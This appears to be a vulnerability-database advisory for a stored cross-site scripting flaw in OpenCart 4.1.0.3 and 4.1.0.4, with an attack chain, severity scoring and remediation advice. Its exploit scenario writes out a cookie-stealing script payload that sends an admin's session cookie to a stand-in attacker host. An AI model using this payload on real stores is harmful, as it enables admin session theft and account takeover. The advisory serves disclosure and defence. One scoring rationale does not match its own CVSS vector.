Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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ReconRegister low-privilege customer account
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DeliverySubmit crafted XSS payload in address_1 field
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ExploitPayload stored in database
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InstallAdmin views customer address record
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C2Malicious script executes in admin browser
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ExecuteAdmin session token exfiltrated
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ImpactAttacker hijacks admin account
Vulnerability Assessment
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CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold a low-privilege authenticated account on the OpenCart store - a customer account obtained via self-registration (the default configuration for most OpenCart storefronts) is sufficient. The victim must passively view the stored address data; this most critically applies to store administrators reviewing customer address records. No special server-side configuration is required beyond running OpenCart 4.1.0.3 or 4.1.0.4 with the address book feature enabled (default). Exploitation is limited by the requirement for at least one registered account (PR:L) and the need for a privileged user to view the injected address (UI:P); automated mass exploitation without a victim viewing the payload is not possible. |
| Impact | The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:P/E:P accurately captures the moderate severity: network-reachable, low complexity, but requires authenticated access and passive victim interaction. The provided vector assigns SC:N/SI:N/SA:N (no subsequent-system impact), which may understate the real-world impact - if an admin views the injected address, their session token could be stolen via a JavaScript payload, escalating effective impact to account takeover of a privileged user. No EPSS score was provided in the input data, and the vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation at time of analysis. However, a working PoC is publicly available on GitHub, lowering the barrier for exploitation. The vendor's non-response to disclosure means no official patch exists, leaving users exposed indefinitely on the affected versions. Real-world risk is moderate but elevated by PoC availability and absence of a vendor fix. |
| Exploit ScenarioDerived | An attacker registers a customer account on a vulnerable OpenCart 4.1.0.3 or 4.1.0.4 store, submits a crafted value such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> in the address_1 field of the address book form, and the payload is stored in the database. When a store administrator reviews customer address records, the script executes in the admin's browser, transmitting the admin session cookie to the attacker who can then take over the admin account. A documented PoC on GitHub confirms this attack path. |
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Alert meAnalysisAIv1 – Sep 02, 2026
Stored cross-site scripting in OpenCart 4.1.0.3 and 4.1.0.4 allows an authenticated low-privilege user (e.g., a customer account) to inject malicious script into the address_1 field via the Autocomplete Workflow in catalog/controller/account/address.php, which then executes in the browser of any user who subsequently views the stored address data. A public proof-of-concept exploit is available on GitHub. The vendor did not respond to the coordinated disclosure, so no official patch has been issued.
RemediationAI
No vendor-released patch has been identified at time of analysis - the OpenCart vendor did not respond to the disclosure report. As a compensating control, administrators should implement a Web Application Firewall (WAF) rule to strip or encode script-bearing input in address fields at the perimeter; be aware this may break legitimate autocomplete behavior. Input sanitization can also be enforced at the server side by applying htmlspecialchars() or equivalent output encoding to the address_1 field in catalog/controller/account/address.php before storage or rendering - a code-level patch applied by operators until an official release is available. Restricting customer self-registration or requiring address fields to be reviewed before admin-facing display reduces exposure. Monitor the OpenCart GitHub repository (https://github.com/opencart/opencart) and VulDB entry https://vuldb.com/vuln/397801 for upstream fix availability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
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Technical ContextAI · show details
OpenCart is a PHP-based open-source e-commerce platform. The vulnerable component is the address management controller (catalog/controller/account/address.php), specifically the address autocomplete workflow. CWE-79 (Improper Neutralization of Input During Web Page Generation) indicates that the address_1 parameter is reflected or stored without adequate output encoding, allowing HTML/JavaScript injection. The CVSS 4.0 vector (PR:L/UI:P) confirms this is a stored XSS pattern: a low-privilege user writes the payload, and a passive victim (e.g., an admin reviewing addresses) triggers execution by viewing the page. Affected versions per the CVE description are 4.1.0.3 and 4.1.0.4; the CPE string uses an 'n/a' vendor placeholder rather than 'opencart', which is a known NVD data quality issue.
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CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Stored XSS requires low-privilege account (PR:L), victim interaction to view address (UI:R), and achieves scope change via admin session theft (S:C, C:L/I:L).
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
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3DescriptionCVE.org
A vulnerability was found in OpenCart 4.1.0.3/4.1.0.4. The impacted element is an unknown function of the file catalog/controller/account/address.php of the component Autocomplete Workflow. The manipulation of the argument address_1 results in cross site scripting. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
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Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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EUVD-2026-69799
GHSA-x42m-4578-3cr2
NVD
CVE.org
EPSS
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VulDB
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